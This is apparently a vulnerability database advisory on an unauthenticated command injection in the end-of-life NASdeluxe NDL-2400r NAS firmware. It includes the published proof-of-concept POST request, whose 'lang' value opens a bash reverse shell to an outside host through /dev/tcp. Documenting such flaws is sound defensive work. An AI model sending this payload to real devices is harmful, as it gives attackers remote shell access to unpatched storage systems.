NASdeluxe NDL-2400r 2.01.09/2.01.10 /usr/usrgetform.html lang privileges management

Summaryinfo

A vulnerability described as critical has been identified in NASdeluxe NDL-2400r 2.01.09/2.01.10. This vulnerability affects unknown code of the component /usr/usrgetform.html. Such manipulation of the argument lang with the input ||`bash+-i+>%26+/dev/tcp/192.168.1.2/443+0>%261`&username=&pwd=&site=web_disk&login_btn=Einloggen leads to privileges management. Furthermore, an exploit is available. Restrictive firewalling should be applied.

Detailsinfo

A vulnerability, which was classified as critical, has been found in NASdeluxe NDL-2400r 2.01.09/2.01.10. Affected by this issue is an unknown code block of the component /usr/usrgetform.html. The manipulation of the argument lang with the input value ||`bash+-i+>%26+/dev/tcp/192.168.1.2/443+0>%261`&username=&pwd=&site=web_disk&login_btn=Einloggen leads to a privileges management vulnerability. Using CWE to declare the problem leads to CWE-269. The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. Impacted is confidentiality, integrity, and availability.

The bug was discovered 06/29/2016. The weakness was published 08/03/2016 by Klaus Eisentraut with SYSS as confirmed mailinglist post (Full-Disclosure). The advisory is available at seclists.org. The public release has been coordinated with the vendor. The exploitation is known to be easy. The attack may be launched remotely. No form of authentication is required for exploitation. Technical details as well as a public exploit are known. This vulnerability is assigned to T1068 by the MITRE ATT&CK project.

A public exploit has been developed by Klaus Eisentraut in HTTP POST Request and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 35 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:

POST /usr/usrgetform.html?name=index HTTP/1.1

Host: 192.168.1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
lang=||`bash+-i+>%26+/dev/tcp/192.168.1.2/443+0>%261`&username=&pwd=&site=web_disk&login_btn=Einloggen

Addressing this vulnerability is possible by firewalling . The mailinglist post contains the following remark:

The product has reached end-of-life (EOL) status since more than three years. Thus, no patch will be provided by the vendor.

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Productinfo

Vendor

• NASdeluxe

Name

• NDL-2400r

Version

• 2.01.09
• 2.01.10

CPE 2.3info

• 🔍
• 🔍

CPE 2.2info

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